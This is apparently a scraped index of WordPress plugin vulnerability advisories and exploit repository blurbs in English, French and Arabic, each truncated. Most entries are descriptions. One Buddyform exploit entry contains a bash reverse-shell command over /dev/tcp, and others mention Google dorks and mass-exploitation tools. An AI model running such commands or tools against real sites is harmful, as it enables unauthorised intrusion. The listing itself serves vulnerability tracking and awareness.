PT-2026-106000

LearnPress plugin for WordPress through 4.4.9.1 contains a stored cross-site scripting vulnerability that allows authenticated instructors to inject scripts via quiz question hint and explanation fields. Attackers with the Instructor role can submit unsanitized payloads through the update questio...

PT-2026-104730

The File Uploads Addon for WooCommerce WordPress plugin before 1.7.6 does not verify that the person requesting a customer-uploaded file is the customer who uploaded it, allowing unauthenticated attackers who know or guess a file's name to download other customers' uploaded files...

CVE-2026-78371: Authorization Bypass Through User-Controlled Key

The File Uploads Addon for WooCommerce WordPress plugin before 1.7.6 does not verify that the person requesting a customer-uploaded file is the customer who uploaded it, allowing unauthenticated attackers who know or guess a file's name to download other customers' uploaded files...

CVE-2026-84169: Authorization Bypass Through User-Controlled Key

The UPI QR Code Payment Gateway WordPress plugin through 1.4.3 does not verify that a payment-confirmation request actually belongs to the order and customer it claims to confirm, allowing unauthenticated attackers to mark an arbitrary order as paid without making any payment...

CVE-2025-39436

🚨 Exploit de plugin WordPress : CVE-2025-39436 📝 Description Une vulnérabilité de téléchargement sans restriction de fichier de type dangereux existe dans le plugin WordPress "I Draw". Cet exploit permet aux attaquants de télécharger des fichiers malveillants sans restriction. Le problème impacte...

CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc إعداد بيئة الاختبار بعد تشغيل حاوية docker، لا تزال هناك بعض الإعدادات المطلوبة قم بزيارة 127.0.0.1:8080، وبعد إكمال الإعداد في لوحة التحكم - المظهر - السمات، حدد سمة، ثم قم بتخصيصها وإعدادها انتقل إلى التصميم - القوالب - المقالة الفردية اختر الصورة...

WP-CVE-2025-4322---Scan

الاستخدام اختبار عادي python3 wp-backdoor-remote-scan.py https://misitio.com مع إخراج JSON python3 wp-backdoor-remote-scan.py https://misitio.com --json ضبط عدد الخيوط والمهلة للمواقع ذات حد المعدل python3 wp-backdoor-remote-scan.py https://misitio.com --threads 5 --timeout 15...

CVE-2024-12542

CVE-2024-12542 linkID = 0.1.2 - Autorisation manquante permettant l'exposition d'informations sensibles sans authentification Description Le plugin linkID pour WordPress est vulnérable à un accès non autorisé aux données en raison d'un contrôle de capacité manquant lors de l'inclusion de la...

CVE-2024-10924

استغلال لـ CVE-2024-10924 إضافة Really Simple Security لووردبريس - تجاوز المصادقة 📌 نظرة عامة CVE-2024-10924 هي ثغرة أمنية حرجة لتجاوز المصادقة في إضافة Really Simple Security لنظام ووردبريس الإصدارات 9.0.0 إلى 9.1.1.1. تسمح هذه الثغرة للمهاجمين غير الموثقين بتسجيل الدخول كأي مستخدم بما في ذلك...

CVE-2026-19598-

CVE-2026-19598 — Pods WordPress Plugin Unauthenticated Privilege Escalation -red.svg Critical Unauthenticated Privilege Escalation CVSS 9.8 — WordPress Pods Plugin ≤ 3.3.9 This tool exploits CVE-2026-19598 , a vulnerability in the WordPress Pods plugin that allows unauthenticated attackers to...

CVE-2015-1579

CVE-2015-1579 - WP Revslider AFD Exploit : Wordpress Slider Revolution Responsive = 4.1.4 : Date de la vulnérabilité : 24/07/2014 Auteur de l'exploit : anarc0der Version : Wordpress Slider Revolution Responsive = 4.1.4 CVE : CVE-2015-1579 Comment faire : python3 xpl.py --url='cible' Exemples de...

WordPressMassExploiter

WordPressMassExploiter Exploiteur de masse de la CVE-2015-1579 pour le CMS WordPress Cet exploit de masse est basé sur la CVE-2015-1579, découverte par CLAUDIO VIVIANI https://www.exploit-db.com/exploits/36554/ Comment ça fonctionne : 1 - J'utilise le framework Selenium pour effectuer la recherch...

CVE-2024-2876

CVE-2024-2876 - Vulnérabilité d'injection SQL dans Email Subscribers by Icegram Express Aperçu CVE-2024-2876 est une vulnérabilité de sécurité critique découverte dans le plugin "Email Subscribers by Icegram Express" pour WordPress. Cette vulnérabilité affecte les versions jusqu'à la 5.7.14 inclu...

CVE-2023-26326_Buddyform_exploit

استخدام: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' في الأصل، تطلبت CVE-2023–26326 سلاسل أدوات gadget chains لاستغلالها كثغرة إلغاء تسلسل deserialization. لم تعد هذه الطريقة مجدية على مواقع ووردبريس الأحدث التي تعمل على PHP 8+؛ ومع ذلك، من خلال ربطها مع...

CVE-2025-68860

CVE-2025-68860 إضافة Mobile builder لووردبريس ثغرة تجاوز التحقق من الهوية باستخدام مسار أو قناة بديلة في Mobile Builder تسمح بإساءة استخدام التحقق من الهوية. تؤثر هذه المشكلة على Mobile builder من n/a حتى 1.4.2. نقاط CVSS: 9.8 حرجة المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H يمكن لمهاجم عن بُعد...

CVE-2026-8181

AR: PoC خاضع للرقابة وملاحظات تقنية موجزة لـ اختبار أمني مصرح به لتجاوز المصادقة في Burst Statistics. AR2: PoC خاضع للرقابة وملاحظات تقنية...

WSS

WSS: ماسح أمان ووردبريس Python الدعم: 3.13.x OS's الدعم: Kali Linux الأحدث Ubuntu الأحدث Windows 10, 11 WSS:في وضع التطوير!!! Google Dorks تحذير! كل إجراء خبيث من جانبك سيكون مسؤوليتك! index of" inurl:wp-content/ 7,370,000 results inurl:"/wp-content/plugins/wp-shopping-cart/" 281,000 results...

CVE-2014-4725

CVE-2014-4725 this script is used to scan and exploit cve-2014-4725 vulnerability mailpoet/wysija newsletters in wordpress. features scan mode detect wordpress targets vulnerable to cve-2014-4725 exploit mode upload a zip payload to vulnerable targets installation 1. clone the repository: git clo...

Mass-CVE-2023-28121-kdoec

CVE-2023-28121 WooCommerce Payments 5.6.2 - تصعيد امتيازات بدون مصادقة إضافة مستخدم مدير بشكل جماعي طريقة الاستخدام هذا السكربت يستخدم Python3. قم بتثبيت المتطلبات pip install -r requirements.txt المراجع https://wpscan.com/vulnerability/0f78a245-866c-462e-bd23-43dfadb57072...

CVE-2025-39459-Nuclei-Template

📄 قالب Nuclei لـ CVE-2025-39459 🚀 نظرة عامة يحتوي هذا المستودع على قالب Nuclei مصمم خصيصًا لاكتشاف ثغرة تصعيد الامتيازات غير المصادق عليها CVE-2025-39459 في قالب Real Estate 7 لووردبريس. تسمح هذه المشكلة للمهاجمين غير المصادقين بالتسجيل كمسؤولين عبر إجراء AJAX ضعيف. 🔍 وصف الثغرة تنشأ CVE-2025-394...